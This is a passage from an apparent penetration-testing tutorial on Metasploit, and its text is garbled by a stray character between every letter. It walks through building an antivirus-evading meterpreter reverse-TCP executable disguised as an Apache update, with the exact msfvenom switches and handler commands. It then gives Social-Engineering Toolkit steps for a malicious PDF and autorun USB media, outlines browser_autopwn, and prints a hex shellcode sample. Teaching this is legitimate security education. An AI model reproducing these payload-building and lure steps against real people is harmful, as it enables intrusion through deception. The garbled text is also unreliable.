�b�e� �p�a�r�t� �o�f� �o�u�r� �p�a�y�l�o�a�d�.� �L�e�t�'�s� �a�s�s�u�m�e�,� �t�h�e�r�e�'�s� �a� �c�e�r�t�a�i�n� �v�u�l�n�e�r�a�b�i�l�i�t�y� �i�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �t�h�e
�a�t�t�a�c�k�e�r� �c�a�n� �w�r�i�t�e� �a� �s�h�e�l�l�c�o�d�e� �t�o� �e�x�p�l�o�i�t� �t�h�a�t� �v�u�l�n�e�r�a�b�i�l�i�t�y�.� �A� �s�h�e�l�l� �c�o�d�e� �i�s� �a� �t�y�p�i�c�a�l�l�y� �h�e�x
�e�n�c�o�d�e�d� �d�a�t�a� �a�n�d� �m�a�y� �l�o�o�k� �l�i�k�e� �t�h�i�s�:

�"
�"�\�x�3�1�\�x�c�0�\�x�3�1�\�x�d�b�\�x�3�1�\�x�c�9�\�x�3�1�\�x�d�2�"
� �"�\�x�5�1�\�x�6�8�\�x�6�c�\�x�6�c�\�x�2�0�\�x�2�0�\�x�6�8�\�x�3�3�"
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� �"�\�x�3�2�\�x�2�e�\�x�6�4�\�x�6�8�\�x�7�5�\�x�7�3�\�x�6�5�\�x�7�2�"
� �"�\�x�8�9�\�x�e�1�\�x�b�b�\�x�7�b�\�x�1�d�\�x�8�0�\�x�7�c�\�x�5�1�"
� �"�\�x�f�f�\�x�d�3�\�x�b�9�\�x�5�e�\�x�6�7�\�x�3�0�\�x�e�f�\�x�8�1�"
� �"�\�x�c�1�\�x�1�1�\�x�1�1�\�x�1�1�\�x�1�1�\�x�5�1�\�x�6�8�\�x�6�1�"
� �"�\�x�6�7�\�x�6�5�\�x�4�2�\�x�6�8�\�x�4�d�\�x�6�5�\�x�7�3�\�x�7�3�"
� �"�\�x�8�9�\�x�e�1�\�x�5�1�\�x�5�0�\�x�b�b�\�x�4�0�\�x�a�e�\�x�8�0�"
� �"�\�x�7�c�\�x�f�f�\�x�d�3�\�x�8�9�\�x�e�1�\�x�3�1�\�x�d�2�\�x�5�2�"
� �"�\�x�5�1�\�x�5�1�\�x�5�2�\�x�f�f�\�x�d�0�\�x�3�1�\�x�c�0�\�x�5�0�"
� �"�\�x�b�8�\�x�1�2�\�x�c�b�\�x�8�1�\�x�7�c�\�x�f�f�\�x�d�0�"�;
"

�W�h�a�t� �i�s� �a� �r�e�v�e�r�s�e� �s�h�e�l�l�?
�A� �r�e�v�e�r�s�e� �s�h�e�l�l� �i�s� �a� �t�y�p�e� �o�f� �s�h�e�l�l�,� �w�h�i�c�h�,� �u�p�o�n� �e�x�e�c�u�t�i�o�n�,� �c�o�n�n�e�c�t�s� �b�a�c�k� �t�o� �t�h�e� �a�t�t�a�c�k�e�r�'�s
�s�y�s�t�e�m� �g�i�v�i�n�g� �s�h�e�l�l� �a�c�c�e�s�s�.

�W�h�a�t� �i�s� �a� �b�i�n�d� �s�h�e�l�l�?
�A� �b�i�n�d� �s�h�e�l�l� �i�s� �a� �t�y�p�e� �o�f� �s�h�e�l�l�,� �w�h�i�c�h�,� �u�p�o�n� �e�x�e�c�u�t�i�o�n�,� �a�c�t�i�v�e�l�y� �l�i�s�t�e�n�s� �f�o�r� �c�o�n�n�e�c�t�i�o�n�s� �o�n� �a
�p�a�r�t�i�c�u�l�a�r� �p�o�r�t�.� �T�h�e� �a�t�t�a�c�k�e�r� �c�a�n� �t�h�e�n� �c�o�n�n�e�c�t� �t�o� �t�h�i�s� �p�o�r�t� �i�n� �o�r�d�e�r� �t�o� �g�e�t� �s�h�e�l�l� �a�c�c�e�s�s�.

�W�h�a�t� �i�s� �a�n� �e�n�c�o�d�e�r�?
�T�h�e� msfvenom � �u�t�i�l�i�t�y� �w�o�u�l�d� �g�e�n�e�r�a�t�e� �a� �p�a�y�l�o�a�d� �f�o�r� �u�s�.� �H�o�w�e�v�e�r�,� �t�h�e� �p�o�s�s�i�b�i�l�i�t�y� �o�f� �o�u�r
�p�a�y�l�o�a�d� �g�e�t�t�i�n�g� �d�e�t�e�c�t�e�d� �b�y� �a�n�t�i�v�i�r�u�s� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �i�s� �q�u�i�t�e� �h�i�g�h�.� �A�l�m�o�s�t� �a�l�l� �i�n�d�u�s�t�r�y
�l�e�a�d�i�n�g� �a�n�t�i�v�i�r�u�s� �a�n�d� �s�e�c�u�r�i�t�y� �s�o�f�t�w�a�r�e� �p�r�o�g�r�a�m�s� �h�a�v�e� �s�i�g�n�a�t�u�r�e�s� �t�o� �d�e�t�e�c�t� �M�e�t�a�s�p�l�o�i�t
�p�a�y�l�o�a�d�s�.� �I�f� �o�u�r� �p�a�y�l�o�a�d� �g�e�t�s� �d�e�t�e�c�t�e�d�,� �i�t� �w�o�u�l�d� �r�e�n�d�e�r� �u�s�e�l�e�s�s� �a�n�d� �o�u�r� �e�x�p�l�o�i�t� �w�o�u�l�d� �f�a�i�l�.
�T�h�i�s� �i�s� �e�x�a�c�t�l�y� �w�h�e�r�e� �t�h�e� �e�n�c�o�d�e�r� �c�o�m�e�s� �t�o� �r�e�s�c�u�e�.� �T�h�e� �j�o�b� �o�f� �t�h�e� �e�n�c�o�d�e�r� �i�s� �t�o� �o�b�f�u�s�c�a�t�e� �t�h�e
�g�e�n�e�r�a�t�e�d� �p�a�y�l�o�a�d� �i�n� �s�u�c�h� �a� �w�a�y� �t�h�a�t� �i�t� �d�o�e�s�n�'�t� �g�e�t� �d�e�t�e�c�t�e�d� �b�y� �a�n�t�i�v�i�r�u�s� �o�r� �s�i�m�i�l�a�r� �s�e�c�u�r�i�t�y
�s�o�f�t�w�a�r�e� �p�r�o�g�r�a�m�s�.

�T�h�e� �m�s�f�v�e�n�o�m� �u�t�i�l�i�t�y
�E�a�r�l�i�e�r�,� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�f�f�e�r�e�d� �t�w�o� �d�i�f�f�e�r�e�n�t� �u�t�i�l�i�t�i�e�s�,� �n�a�m�e�l�y�,� msfpayload � �a�n�d
msfencode. � �T�h�e� msfpayload � �w�a�s� �u�s�e�d� �t�o� �g�e�n�e�r�a�t�e� �a� �p�a�y�l�o�a�d� �i�n� �a� �s�p�e�c�i�f�i�e�d� �f�o�r�m�a�t� �a�n�d� �t�h�e
msfencode � �w�a�s� �u�s�e�d� �t�o� �e�n�c�o�d�e� �a�n�d� �o�b�f�u�s�c�a�t�e� �t�h�e� �p�a�y�l�o�a�d� �u�s�i�n�g� �v�a�r�i�o�u�s� �a�l�g�o�r�i�t�h�m�s�.
�H�o�w�e�v�e�r�,� �t�h�e� �n�e�w�e�r� �a�n�d� �t�h�e� �l�a�t�e�s�t� �v�e�r�s�i�o�n� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�a�s� �c�o�m�b�i�n�e�d� �b�o�t�h
�o�f� �t�h�e�s�e� �u�t�i�l�i�t�i�e�s� �i�n�t�o� �a� �s�i�n�g�l�e� �u�t�i�l�i�t�y� �c�a�l�l�e�d� msfvenom �.
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�T�h�e� msfvenom � �u�t�i�l�i�t�y� �c�a�n� �g�e�n�e�r�a�t�e� �a� �p�a�y�l�o�a�d� �a�s� �w�e�l�l� �a�s� �e�n�c�o�d�e� �t�h�e� �s�a�m�e� �i�n� �a� �s�i�n�g�l�e
�c�o�m�m�a�n�d�.� �W�e� �s�h�a�l�l� �s�e�e� �a� �f�e�w� �c�o�m�m�a�n�d�s� �n�e�x�t�:

�T�h�e� msfvenom � �i�s� �a� �s�e�p�a�r�a�t�e� �u�t�i�l�i�t�y� �a�n�d� �d�o�e�s�n�'�t� �r�e�q�u�i�r�e� msfconsole � �t�o� �b�e
�r�u�n�n�i�n�g� �a�t� �s�a�m�e� �t�i�m�e�.

�L�i�s�t� �p�a�y�l�o�a�d�s�:� �T�h�e� msfvenom � �u�t�i�l�i�t�y� �s�u�p�p�o�r�t�s� �a�l�l� �s�t�a�n�d�a�r�d� �M�e�t�a�s�p�l�o�i�t� �p�a�y�l�o�a�d�s�.
�W�e� �c�a�n� �l�i�s�t� �a�l�l� �t�h�e� �a�v�a�i�l�a�b�l�e� �p�a�y�l�o�a�d�s� �u�s�i�n�g� �t�h�e� msfvenom --list payloads
�c�o�m�m�a�n�d� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�L�i�s�t� �e�n�c�o�d�e�r�s�:� �A�s� �w�e� �h�a�v�e� �d�i�s�c�u�s�s�e�d� �e�a�r�l�i�e�r�,� �t�h�e� msfvenom � �i�s� �a� �s�i�n�g�l�e� �u�t�i�l�i�t�y�,
�w�h�i�c�h� �c�a�n� �g�e�n�e�r�a�t�e� �a�s� �w�e�l�l� �a�s� �e�n�c�o�d�e� �t�h�e� �p�a�y�l�o�a�d�.� �I�t� �s�u�p�p�o�r�t�s� �a�l�l� �s�t�a�n�d�a�r�d
�M�e�t�a�s�p�l�o�i�t� �e�n�c�o�d�e�r�s�.� �W�e� �c�a�n� �l�i�s�t� �a�l�l� �t�h�e� �a�v�a�i�l�a�b�l�e� �e�n�c�o�d�e�r�s� �u�s�i�n�g� �t�h�e� msfvenom -
-list encoders � �c�o�m�m�a�n�d�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�L�i�s�t� �f�o�r�m�a�t�s�:� �W�h�i�l�e� �g�e�n�e�r�a�t�i�n�g� �a� �p�a�y�l�o�a�d�,� �w�e� �n�e�e�d� �t�o� �i�n�s�t�r�u�c�t� �t�h�e� msfvenom
�u�t�i�l�i�t�y� �a�b�o�u�t� �t�h�e� �f�i�l�e� �f�o�r�m�a�t� �t�h�a�t� �w�e� �n�e�e�d� �o�u�r� �p�a�y�l�o�a�d� �t�o� �b�e� �g�e�n�e�r�a�t�e�d� �i�n�.� �W�e� �c�a�n
�u�s�e� �t�h�e� msfvenom --help � �f�o�r�m�a�t�s� �c�o�m�m�a�n�d� �t�o� �v�i�e�w� �a�l�l� �t�h�e� �s�u�p�p�o�r�t�e�d� �p�a�y�l�o�a�d
�o�u�t�p�u�t� �f�o�r�m�a�t�s�:
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�L�i�s�t� �p�l�a�t�f�o�r�m�s�:� �W�h�i�l�e� �w�e� �g�e�n�e�r�a�t�e� �a� �p�a�y�l�o�a�d�,� �w�e� �a�l�s�o� �n�e�e�d� �t�o� �i�n�s�t�r�u�c�t� �t�h�e
msfvenom � �u�t�i�l�i�t�y� �a�b�o�u�t� �w�h�a�t� �p�l�a�t�f�o�r�m� �i�s� �o�u�r� �p�a�y�l�o�a�d� �g�o�i�n�g� �t�o� �r�u�n� �o�n�.� �W�e� �c�a�n� �u�s�e
�t�h�e� msfvenom --help-platforms � �c�o�m�m�a�n�d� �t�o� �l�i�s�t� �a�l�l� �t�h�e� �s�u�p�p�o�r�t�e�d� �p�l�a�t�f�o�r�m�s�:

�G�e�n�e�r�a�t�i�n�g� �a� �p�a�y�l�o�a�d� �w�i�t�h� �m�s�f�v�e�n�o�m
�N�o�w� �t�h�a�t� �w�e� �a�r�e� �f�a�m�i�l�i�a�r� �w�i�t�h� �w�h�a�t� �a�l�l� �p�a�y�l�o�a�d�s�,� �e�n�c�o�d�e�r�s�,� �f�o�r�m�a�t�s�,� �a�n�d� �p�l�a�t�f�o�r�m�s� �t�h�e
msfvenom � �u�t�i�l�i�t�y� �s�u�p�p�o�r�t�s�,� �l�e�t�'�s� �t�r�y� �g�e�n�e�r�a�t�i�n�g� �a� �s�a�m�p�l�e� �p�a�y�l�o�a�d� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:

�T�h�e� �f�o�l�l�o�w�i�n�g� �t�a�b�l�e� �s�h�o�w�s� �a� �d�e�t�a�i�l�e�d� �e�x�p�l�a�n�a�t�i�o�n� �f�o�r� �e�a�c�h� �o�f� �t�h�e� �c�o�m�m�a�n�d� �s�w�i�t�c�h�e�s� �u�s�e�d� �i�n
�t�h�e� �p�r�e�c�e�d�i�n�g� msfvenom � �c�o�m�m�a�n�d�:

�S�w�i�t�c�h �E�x�p�l�a�n�a�t�i�o�n

-a x86 �H�e�r�e�,� �t�h�e� �g�e�n�e�r�a�t�e�d� �p�a�y�l�o�a�d� �w�i�l�l� �r�u�n� �o�n� �x�8�6
�a�r�c�h�i�t�e�c�t�u�r�e

--platform windows �H�e�r�e�,� �t�h�e� �g�e�n�e�r�a�t�e�d� �p�a�y�l�o�a�d� �i�s� �t�a�r�g�e�t�e�d� �f�o�r
�t�h�e� �W�i�n�d�o�w�s� �p�l�a�t�f�o�r�m

-p windows/meterpreter/reverse_tcp �H�e�r�e�,� �t�h�e� �p�a�y�l�o�a�d� �i�s� �t�h�e� �m�e�t�e�r�p�r�e�t�e�r� �w�i�t�h� �a
�r�e�v�e�r�s�e� �T�C�P

LHOST= 192.168.44.134 �H�e�r�e�,� �t�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �t�h�e� �a�t�t�a�c�k�e�r�'�s� �s�y�s�t�e�m� �i�s
192.168.44.134
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LPORT= 8080 �H�e�r�e�,� �t�h�e� �p�o�r�t� �n�u�m�b�e�r� �t�o� �l�i�s�t�e�n� �o�n� �t�h�e
�a�t�t�a�c�k�e�r�'�s� �s�y�s�t�e�m� �i�s� 8080

-e x86/shikata_ga_nai �H�e�r�e�,� �t�h�e� �p�a�y�l�o�a�d� �e�n�c�o�d�e�r� �t�o� �b�e� �u�s�e�d� �i�s
shikata_ga_nai

-f exe �H�e�r�e�,� �t�h�e� �o�u�t�p�u�t� �f�o�r�m�a�t� �f�o�r� �t�h�e� �p�a�y�l�o�a�d� �i�s� exe

-o /root/Desktop/apache-update.exe �T�h�i�s� �i�s� �t�h�e� �p�a�t�h� �w�h�e�r�e� �t�h�e� �g�e�n�e�r�a�t�e�d� �p�a�y�l�o�a�d
�w�o�u�l�d� �b�e� �s�a�v�e�d

�O�n�c�e� �w�e� �h�a�v�e� �g�e�n�e�r�a�t�e�d� �a� �p�a�y�l�o�a�d�,� �w�e� �n�e�e�d� �t�o� �s�e�t�u�p� �a� �l�i�s�t�e�n�e�r�,� �w�h�i�c�h� �w�o�u�l�d� �a�c�c�e�p�t� �r�e�v�e�r�s�e
�c�o�n�n�e�c�t�i�o�n�s� �o�n�c�e� �t�h�e� �p�a�y�l�o�a�d� �g�e�t�s� �e�x�e�c�u�t�e�d� �o�n� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �T�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d
�w�i�l�l� �s�t�a�r�t� �a� �m�e�t�e�r�p�r�e�t�e�r� �l�i�s�t�e�n�e�r� �o�n� �t�h�e� �I�P� �a�d�d�r�e�s�s� 192.168.44.134 � �o�n� �p�o�r�t� 8080 �:

�m�s�f�c�o�n�s�o�l�e� �-�x� �"�u�s�e� �e�x�p�l�o�i�t�/�m�u�l�t�i�/�h�a�n�d�l�e�r�;� �s�e�t� �P�A�Y�L�O�A�D
�w�i�n�d�o�w�s�/�m�e�t�e�r�p�r�e�t�e�r�/�r�e�v�e�r�s�e�_�t�c�p�;� �s�e�t� �L�H�O�S�T� �1�9�2�.�1�6�8�.�4�4�.�1�3�4�;� �s�e�t� �L�P�O�R�T� �8�0�8�0�;
�r�u�n�;� �e�x�i�t� �-�y�"

�N�o�w�,� �w�e� �h�a�v�e� �s�e�n�t� �t�h�e� �p�a�y�l�o�a�d� �d�i�s�g�u�i�s�e�d� �a�s� �a�n� �A�p�a�c�h�e� �u�p�d�a�t�e� �t�o� �o�u�r� �v�i�c�t�i�m�.� �T�h�e� �v�i�c�t�i�m
�n�e�e�d�s� �t�o� �e�x�e�c�u�t�e� �i�t� �i�n� �o�r�d�e�r� �t�o� �c�o�m�p�l�e�t�e� �t�h�e� �e�x�p�l�o�i�t�:
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�A�s� �s�o�o�n� �a�s� �t�h�e� �v�i�c�t�i�m� �e�x�e�c�u�t�e�s� �t�h�e� apache-update.exe � �f�i�l�e�,� �w�e� �g�e�t� �a�n� �a�c�t�i�v�e� �m�e�t�e�r�p�r�e�t�e�r
�s�e�s�s�i�o�n� �b�a�c�k� �o�n� �t�h�e� �l�i�s�t�e�n�e�r� �w�e� �s�e�t�u�p� �e�a�r�l�i�e�r� �(�a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�)�:
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�A�n�o�t�h�e�r� �i�n�t�e�r�e�s�t�i�n�g� �p�a�y�l�o�a�d� �f�o�r�m�a�t� �i�s� �V�B�A�.� �T�h�e� �p�a�y�l�o�a�d� �g�e�n�e�r�a�t�e�d� �i�n� �V�B�A� �f�o�r�m�a�t�,� �a�s
�s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�,� �c�a�n� �b�e� �e�m�b�e�d�d�e�d� �i�n� �a� �m�a�c�r�o� �i�n� �a�n�y� �W�o�r�d�/�E�x�c�e�l
�d�o�c�u�m�e�n�t�:

�S�o�c�i�a�l� �E�n�g�i�n�e�e�r�i�n�g� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t
�S�o�c�i�a�l� �e�n�g�i�n�e�e�r�i�n�g� �i�s� �a�n� �a�r�t� �o�f� �m�a�n�i�p�u�l�a�t�i�n�g� �h�u�m�a�n� �b�e�h�a�v�i�o�r� �i�n� �o�r�d�e�r� �t�o� �b�y�p�a�s�s� �t�h�e� �s�e�c�u�r�i�t�y
�c�o�n�t�r�o�l�s� �o�f� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �L�e�t�'�s� �t�a�k�e� �t�h�e� �e�x�a�m�p�l�e� �o�f� �a�n� �o�r�g�a�n�i�z�a�t�i�o�n�,� �w�h�i�c�h� �f�o�l�l�o�w�s� �v�e�r�y
�s�t�r�i�n�g�e�n�t� �s�e�c�u�r�i�t�y� �p�r�a�c�t�i�c�e�s�.� �A�l�l� �t�h�e� �s�y�s�t�e�m�s� �a�r�e� �h�a�r�d�e�n�e�d� �a�n�d� �p�a�t�c�h�e�d�.� �T�h�e� �l�a�t�e�s�t� �s�e�c�u�r�i�t�y
�s�o�f�t�w�a�r�e� �i�s� �d�e�p�l�o�y�e�d�.� �T�e�c�h�n�i�c�a�l�l�y�,� �i�t�'�s� �v�e�r�y� �d�i�f�f�i�c�u�l�t� �f�o�r� �a�n� �a�t�t�a�c�k�e�r� �t�o� �f�i�n�d� �a�n�d� �e�x�p�l�o�i�t� �a�n�y
�v�u�l�n�e�r�a�b�i�l�i�t�y�.� �H�o�w�e�v�e�r�,� �t�h�e� �a�t�t�a�c�k�e�r� �s�o�m�e�h�o�w� �m�a�n�a�g�e�s� �t�o� �b�e�f�r�i�e�n�d� �t�h�e� �n�e�t�w�o�r�k
�a�d�m�i�n�i�s�t�r�a�t�o�r� �o�f� �t�h�a�t� �o�r�g�a�n�i�z�a�t�i�o�n� �a�n�d� �t�h�e�n� �t�r�i�c�k�s� �h�i�m� �t�o� �r�e�v�e�a�l� �t�h�e� �a�d�m�i�n� �c�r�e�d�e�n�t�i�a�l�s�.� �T�h�i�s
�i�s� �a� �c�l�a�s�s�i�c� �e�x�a�m�p�l�e� �w�h�e�r�e� �h�u�m�a�n�s� �a�r�e� �a�l�w�a�y�s� �t�h�e� �w�e�a�k�e�s�t� �l�i�n�k� �i�n� �t�h�e� �s�e�c�u�r�i�t�y� �c�h�a�i�n�.

�K�a�l�i� �L�i�n�u�x�,� �b�y� �d�e�f�a�u�l�t�,� �h�a�s� �a� �p�o�w�e�r�f�u�l� �s�o�c�i�a�l� �e�n�g�i�n�e�e�r�i�n�g� �t�o�o�l�,� �w�h�i�c�h� �s�e�a�m�l�e�s�s�l�y� �i�n�t�e�g�r�a�t�e�s
�w�i�t�h� �M�e�t�a�s�p�l�o�i�t� �t�o� �l�a�u�n�c�h� �t�a�r�g�e�t�e�d� �a�t�t�a�c�k�s�.� �I�n� �K�a�l�i� �L�i�n�u�x�,� �t�h�e� �S�o�c�i�a�l�-�E�n�g�i�n�e�e�r�i�n�g� �T�o�o�l�k�i�t� �i�s
�l�o�c�a�t�e�d� �u�n�d�e�r� �E�x�p�l�o�i�t�a�t�i�o�n� �T�o�o�l�s� �|� �S�o�c�i�a�l� �E�n�g�i�n�e�e�r�i�n�g� �T�o�o�l�k�i�t�.

�G�e�n�e�r�a�t�i�n�g� �m�a�l�i�c�i�o�u�s� �P�D�F
�O�p�e�n� �t�h�e� �S�o�c�i�a�l� �E�n�g�i�n�e�e�r�i�n�g� �T�o�o�l�k�i�t� �a�n�d� �s�e�l�e�c�t� �t�h�e� �f�i�r�s�t� �o�p�t�i�o�n� �S�p�e�a�r�-�P�h�i�s�h�i�n�g� �A�t�t�a�c�k
�V�e�c�t�o�r�s�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �T�h�e�n� �s�e�l�e�c�t� �t�h�e� �s�e�c�o�n�d� �o�p�t�i�o�n� �C�r�e�a�t�e� �a� �F�i�l�e
�F�o�r�m�a�t� �P�a�y�l�o�a�d�:
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�N�o�w�,� �s�e�l�e�c�t� �o�p�t�i�o�n� �1�4� �t�o� �u�s�e� �t�h�e� Adobe util.printf() Buffer Overflow � �e�x�p�l�o�i�t�:
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�S�e�l�e�c�t� �o�p�t�i�o�n� �1� �t�o� �u�s�e� �W�i�n�d�o�w�s� �R�e�v�e�r�s�e� �T�C�P� �S�h�e�l�l� �a�s� �t�h�e� �p�a�y�l�o�a�d� �f�o�r� �o�u�r� �e�x�p�l�o�i�t�.� �T�h�e�n�,� �s�e�t
�t�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �t�h�e� �a�t�t�a�c�k�e�r�'�s� �m�a�c�h�i�n�e� �u�s�i�n�g� �t�h�e� �L�H�O�S�T� �v�a�r�i�a�b�l�e� �(�i�n� �t�h�i�s� �c�a�s�e�,� �i�t�'�s
192.168.44.134 �)� �a�n�d� �t�h�e� �p�o�r�t� �t�o� �l�i�s�t�e�n� �o�n� �(�i�n� �t�h�i�s� �c�a�s�e�,� 443 �)�:

�T�h�e� �P�D�F� �f�i�l�e� �g�o�t� �g�e�n�e�r�a�t�e�d� �i�n� �t�h�e� �d�i�r�e�c�t�o�r�y� /root/.set/ �.� �N�o�w� �w�e� �n�e�e�d� �t�o� �s�e�n�d� �i�t� �t�o� �o�u�r
�v�i�c�t�i�m� �u�s�i�n�g� �a�n�y� �o�f� �t�h�e� �a�v�a�i�l�a�b�l�e� �c�o�m�m�u�n�i�c�a�t�i�o�n� �m�e�d�i�u�m�s�.� �M�e�a�n�w�h�i�l�e�,� �w�e� �a�l�s�o� �n�e�e�d� �t�o
�s�t�a�r�t� �a� �l�i�s�t�e�n�e�r�,� �w�h�i�c�h� �w�i�l�l� �a�c�c�e�p�t� �t�h�e� �r�e�v�e�r�s�e� �m�e�t�e�r�p�r�e�t�e�r� �c�o�n�n�e�c�t�i�o�n� �f�r�o�m� �o�u�r� �t�a�r�g�e�t�.� �W�e
�c�a�n� �s�t�a�r�t� �a� �l�i�s�t�e�n�e�r� �u�s�i�n�g� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d�:

�m�s�f�c�o�n�s�o�l�e� �-�x� �"�u�s�e� �e�x�p�l�o�i�t�/�m�u�l�t�i�/�h�a�n�d�l�e�r�;� �s�e�t� �P�A�Y�L�O�A�D
�w�i�n�d�o�w�s�/�m�e�t�e�r�p�r�e�t�e�r�/�r�e�v�e�r�s�e�_�t�c�p�;� �s�e�t� �L�H�O�S�T� �1�9�2�.�1�6�8�.�4�4�.�1�3�4�;� �s�e�t� �L�P�O�R�T� �4�4�3�;
�r�u�n�;� �e�x�i�t� �-�y�"
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�O�n� �t�h�e� �o�t�h�e�r� �e�n�d�,� �o�u�r� �v�i�c�t�i�m� �r�e�c�e�i�v�e�d� �t�h�e� �P�D�F� �f�i�l�e� �a�n�d� �t�r�i�e�d� �t�o� �o�p�e�n� �i�t� �u�s�i�n�g� �A�d�o�b�e� �R�e�a�d�e�r�.
�T�h�e� �A�d�o�b�e� �R�e�a�d�e�r� �c�r�a�s�h�e�d�;� �h�o�w�e�v�e�r�,� �t�h�e�r�e�'�s� �n�o� �s�i�g�n� �t�h�a�t� �w�o�u�l�d� �i�n�d�i�c�a�t�e� �t�h�e� �v�i�c�t�i�m� �o�f� �a
�c�o�m�p�r�o�m�i�s�e�:

�B�a�c�k� �o�n� �t�h�e� �l�i�s�t�e�n�e�r� �e�n�d� �(�o�n� �t�h�e� �a�t�t�a�c�k�e�r�'�s� �s�y�s�t�e�m�)�,� �w�e� �h�a�v�e� �g�o�t� �a� �n�e�w� �m�e�t�e�r�p�r�e�t�e�r� �s�h�e�l�l�!� �W�e
�c�a�n� �s�e�e� �t�h�i�s� �i�n� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�C�r�e�a�t�i�n�g� �i�n�f�e�c�t�i�o�u�s� �m�e�d�i�a� �d�r�i�v�e�s
�O�p�e�n� �t�h�e� �S�o�c�i�a�l� �E�n�g�i�n�e�e�r�i�n�g� �T�o�o�l�k�i�t� �a�n�d� �f�r�o�m� �t�h�e� �m�a�i�n� �m�e�n�u�,� �s�e�l�e�c�t� �o�p�t�i�o�n� �3� �I�n�f�e�c�t�i�o�u�s
�M�e�d�i�a� �G�e�n�e�r�a�t�o�r� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �T�h�e�n�,� �s�e�l�e�c�t� �o�p�t�i�o�n� �2� �t�o� �c�r�e�a�t�e� �a
�S�t�a�n�d�a�r�d� �M�e�t�a�s�p�l�o�i�t� �E�x�e�c�u�t�a�b�l�e�:
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�N�o�w�,� �s�e�l�e�c�t� �o�p�t�i�o�n� �1� �t�o� �u�s�e� �W�i�n�d�o�w�s� �S�h�e�l�l� �R�e�v�e�r�s�e� �T�C�P� �a�s� �t�h�e� �p�a�y�l�o�a�d� �f�o�r� �o�u�r� �e�x�p�l�o�i�t�.
�T�h�e�n�,� �s�e�t� �t�h�e� �I�P� �a�d�d�r�e�s�s� �i�n� �t�h�e� �L�H�O�S�T� �v�a�r�i�a�b�l�e� �a�n�d� �p�o�r�t� �t�o� �l�i�s�t�e�n� �o�n�:

�T�h�e� �S�o�c�i�a�l� �E�n�g�i�n�e�e�r�i�n�g� �T�o�o�l�k�i�t� �w�i�l�l� �g�e�n�e�r�a�t�e� �a� �f�o�l�d�e�r� �c�a�l�l�e�d� �a�u�t�o�r�u�n� �l�o�c�a�t�e�d� �a�t
/root/.set/ �.� �T�h�i�s� �f�o�l�d�e�r� �c�a�n� �b�e� �c�o�p�i�e�d� �t�o� �t�h�e� �U�S�B� �F�l�a�s�h� �D�r�i�v�e� �o�r� �C�D�/�D�V�D� �R�O�M�'�s� �t�o
�d�i�s�t�r�i�b�u�t�e� �i�t� �t�o� �o�u�r� �v�i�c�t�i�m�.� �M�e�a�n�w�h�i�l�e�,� �w�e� �w�o�u�l�d� �a�l�s�o� �n�e�e�d� �t�o� �s�e�t� �u�p� �a� �l�i�s�t�e�n�e�r� �(�a�s� �s�h�o�w�n� �i�n
�t�h�e� �e�a�r�l�i�e�r� �s�e�c�t�i�o�n�)� �a�n�d� �t�h�e�n� �w�a�i�t� �f�o�r� �o�u�r� �v�i�c�t�i�m� �t�o� �i�n�s�e�r�t� �t�h�e� �i�n�f�e�c�t�e�d� �m�e�d�i�a� �i�n�t�o� �h�i�s� �s�y�s�t�e�m�.

�B�r�o�w�s�e�r� �A�u�t�o�p�w�n
�A�n�o�t�h�e�r� �i�n�t�e�r�e�s�t�i�n�g� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �f�o�r� �p�e�r�f�o�r�m�i�n�g� �c�l�i�e�n�t�-�s�i�d�e� �a�t�t�a�c�k�s� �i�s� �t�h�e
browser_autopwn �.� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �w�o�r�k�s� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�e�q�u�e�n�c�e�:

�T�h�e� �a�t�t�a�c�k�e�r� �e�x�e�c�u�t�e�s� �t�h�e� browser_autopwn � �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�.�1�.

�A� �w�e�b� �s�e�r�v�e�r� �i�s� �i�n�i�t�i�a�t�e�d� �(�o�n� �t�h�e� �a�t�t�a�c�k�e�r�'�s� �s�y�s�t�e�m�)�,� �w�h�i�c�h� �h�o�s�t�s� �a� �p�a�y�l�o�a�d�.� �T�h�e�2�.
�p�a�y�l�o�a�d� �i�s� �a�c�c�e�s�s�i�b�l�e� �o�v�e�r� �a� �s�p�e�c�i�f�i�c� �U�R�L�.
�T�h�e� �a�t�t�a�c�k�e�r� �s�e�n�d�s� �t�h�e� �s�p�e�c�i�a�l�l�y� �g�e�n�e�r�a�t�e�d� �U�R�L� �t�o� �h�i�s� �v�i�c�t�i�m�.�3�.
�T�h�e� �v�i�c�t�i�m� �t�r�i�e�s� �t�o� �o�p�e�n� �t�h�e� �U�R�L�,� �w�h�i�c�h� �i�s� �w�h�e�n� �t�h�e� �p�a�y�l�o�a�d� �g�e�t�s� �d�o�w�n�l�o�a�d�e�d� �o�n�4�.
�h�i�s� �s�y�s�t�e�m�.
